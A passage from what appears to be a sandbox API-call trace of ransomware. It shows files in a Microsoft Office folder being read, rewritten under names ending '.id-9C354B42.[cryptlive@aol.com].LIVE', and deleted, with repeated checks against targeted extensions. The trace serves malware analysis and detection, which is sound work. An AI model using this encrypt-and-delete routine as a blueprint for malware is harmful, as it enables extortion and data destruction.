dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.278] GetLastError () returned 0x0 [0145.278] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xd0, lpOverlapped=0x0) returned 1 [0145.279] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0145.280] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.280] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0145.280] SetEndOfFile (hFile=0x388) returned 1 [0145.280] CloseHandle (hObject=0x388) returned 1 [0145.280] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.280] SetEndOfFile (hFile=0x38c) returned 1 [0145.282] CloseHandle (hObject=0x38c) returned 1 [0145.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 1 [0145.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.283] lstrlenW (lpString=".doc") returned 4 [0145.283] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0145.283] lstrlenW (lpString=".docx") returned 5 [0145.283] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0145.283] lstrlenW (lpString=".pdf") returned 4 [0145.283] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0145.283] lstrlenW (lpString=".xls") returned 4 [0145.283] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0145.283] lstrlenW (lpString=".xlsx") returned 5 [0145.283] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0145.284] lstrlenW (lpString=".ppt") returned 4 [0145.284] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0145.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.284] lstrlenW (lpString=".zip") returned 4 [0145.284] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0145.284] lstrlenW (lpString=".rar") returned 4 [0145.284] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0145.284] lstrlenW (lpString=".bz2") returned 4 [0145.284] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0145.284] lstrlenW (lpString=".7z") returned 3 [0145.284] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0145.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.284] lstrlenW (lpString=".dbf") returned 4 [0145.284] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0145.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.284] lstrlenW (lpString=".1cd") returned 4 [0145.284] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0145.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.284] lstrlenW (lpString=".jpg") returned 4 [0145.284] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0145.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.285] lstrlenW (lpString=".doc") returned 4 [0145.285] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0145.285] lstrlenW (lpString=".docx") returned 5 [0145.285] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0145.285] lstrlenW (lpString=".pdf") returned 4 [0145.285] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0145.285] lstrlenW (lpString=".xls") returned 4 [0145.285] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0145.285] lstrlenW (lpString=".xlsx") returned 5 [0145.285] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0145.285] lstrlenW (lpString=".ppt") returned 4 [0145.285] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0145.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.285] lstrlenW (lpString=".zip") returned 4 [0145.286] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0145.286] lstrlenW (lpString=".rar") returned 4 [0145.286] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0145.286] lstrlenW (lpString=".bz2") returned 4 [0145.286] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0145.286] lstrlenW (lpString=".7z") returned 3 [0145.286] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0145.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.286] lstrlenW (lpString=".dbf") returned 4 [0145.286] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0145.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.286] lstrlenW (lpString=".1cd") returned 4 [0145.286] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0145.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0145.286] lstrlenW (lpString=".jpg") returned 4 [0145.286] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0145.286] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0145.286] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18 [0145.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.287] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0145.287] CloseHandle (hObject=0x38c) returned 1 [0145.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 0x20 [0145.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.287] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.287] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.288] GetLastError () returned 0x0 [0145.288] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0145.289] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0145.289] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.289] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0145.290] SetEndOfFile (hFile=0x388) returned 1 [0145.290] CloseHandle (hObject=0x388) returned 1 [0145.290] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.290] SetEndOfFile (hFile=0x38c) returned 1 [0145.292] CloseHandle (hObject=0x38c) returned 1 [0145.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 1 [0145.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.293] lstrlenW (lpString=".doc") returned 4 [0145.293] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.293] lstrlenW (lpString=".docx") returned 5 [0145.293] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.294] lstrlenW (lpString=".pdf") returned 4 [0145.294] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.294] lstrlenW (lpString=".xls") returned 4 [0145.294] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.294] lstrlenW (lpString=".xlsx") returned 5 [0145.294] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.294] lstrlenW (lpString=".ppt") returned 4 [0145.294] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.294] lstrlenW (lpString=".zip") returned 4 [0145.294] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.294] lstrlenW (lpString=".rar") returned 4 [0145.294] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.294] lstrlenW (lpString=".bz2") returned 4 [0145.294] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.294] lstrlenW (lpString=".7z") returned 3 [0145.294] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.294] lstrlenW (lpString=".dbf") returned 4 [0145.294] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.294] lstrlenW (lpString=".1cd") returned 4 [0145.294] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.294] lstrlenW (lpString=".jpg") returned 4 [0145.294] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.294] lstrlenW (lpString=".doc") returned 4 [0145.294] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.294] lstrlenW (lpString=".docx") returned 5 [0145.294] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.294] lstrlenW (lpString=".pdf") returned 4 [0145.294] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.294] lstrlenW (lpString=".xls") returned 4 [0145.295] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.295] lstrlenW (lpString=".xlsx") returned 5 [0145.295] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.295] lstrlenW (lpString=".ppt") returned 4 [0145.295] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.295] lstrlenW (lpString=".zip") returned 4 [0145.295] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.295] lstrlenW (lpString=".rar") returned 4 [0145.295] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.295] lstrlenW (lpString=".bz2") returned 4 [0145.295] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.295] lstrlenW (lpString=".7z") returned 3 [0145.295] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.295] lstrlenW (lpString=".dbf") returned 4 [0145.295] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.295] lstrlenW (lpString=".1cd") returned 4 [0145.295] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0145.295] lstrlenW (lpString=".jpg") returned 4 [0145.295] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.295] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0145.295] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18 [0145.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.296] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0145.296] CloseHandle (hObject=0x38c) returned 1 [0145.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 0x20 [0145.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.296] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.296] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.297] GetLastError () returned 0x0 [0145.297] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0145.298] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0145.299] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.299] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0145.299] SetEndOfFile (hFile=0x388) returned 1 [0145.299] CloseHandle (hObject=0x388) returned 1 [0145.299] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.299] SetEndOfFile (hFile=0x38c) returned 1 [0145.301] CloseHandle (hObject=0x38c) returned 1 [0145.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 1 [0145.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.302] lstrlenW (lpString=".doc") returned 4 [0145.302] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.302] lstrlenW (lpString=".docx") returned 5 [0145.302] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.302] lstrlenW (lpString=".pdf") returned 4 [0145.302] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.302] lstrlenW (lpString=".xls") returned 4 [0145.302] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.302] lstrlenW (lpString=".xlsx") returned 5 [0145.302] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.302] lstrlenW (lpString=".ppt") returned 4 [0145.302] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.303] lstrlenW (lpString=".zip") returned 4 [0145.303] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.303] lstrlenW (lpString=".rar") returned 4 [0145.303] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.303] lstrlenW (lpString=".bz2") returned 4 [0145.303] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.303] lstrlenW (lpString=".7z") returned 3 [0145.303] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.303] lstrlenW (lpString=".dbf") returned 4 [0145.303] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.303] lstrlenW (lpString=".1cd") returned 4 [0145.303] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.303] lstrlenW (lpString=".jpg") returned 4 [0145.303] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.303] lstrlenW (lpString=".doc") returned 4 [0145.303] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0145.303] lstrlenW (lpString=".docx") returned 5 [0145.303] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0145.303] lstrlenW (lpString=".pdf") returned 4 [0145.303] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0145.303] lstrlenW (lpString=".xls") returned 4 [0145.303] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0145.303] lstrlenW (lpString=".xlsx") returned 5 [0145.303] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0145.303] lstrlenW (lpString=".ppt") returned 4 [0145.303] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.303] lstrlenW (lpString=".zip") returned 4 [0145.303] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0145.303] lstrlenW (lpString=".rar") returned 4 [0145.303] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0145.304] lstrlenW (lpString=".bz2") returned 4 [0145.304] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0145.304] lstrlenW (lpString=".7z") returned 3 [0145.304] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0145.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.304] lstrlenW (lpString=".dbf") returned 4 [0145.304] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0145.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.304] lstrlenW (lpString=".1cd") returned 4 [0145.304] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0145.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0145.304] lstrlenW (lpString=".jpg") returned 4 [0145.304] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0145.304] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0145.304] lstrlenW (lpString="PPINTL.DLL") returned 10 [0145.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.304] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1284456) returned 1 [0145.305] CloseHandle (hObject=0x38c) returned 1 [0145.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll")) returned 0x20 [0145.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.305] lstrlenW (lpString=".doc") returned 4 [0145.305] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.305] lstrlenW (lpString=".docx") returned 5 [0145.305] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0145.305] lstrlenW (lpString=".pdf") returned 4 [0145.305] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.305] lstrlenW (lpString=".xls") returned 4 [0145.305] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.305] lstrlenW (lpString=".xlsx") returned 5 [0145.305] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0145.305] lstrlenW (lpString=".ppt") returned 4 [0145.305] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.305] lstrlenW (lpString=".zip") returned 4 [0145.305] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.305] lstrlenW (lpString=".rar") returned 4 [0145.305] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.305] lstrlenW (lpString=".bz2") returned 4 [0145.305] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.306] lstrlenW (lpString=".7z") returned 3 [0145.306] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 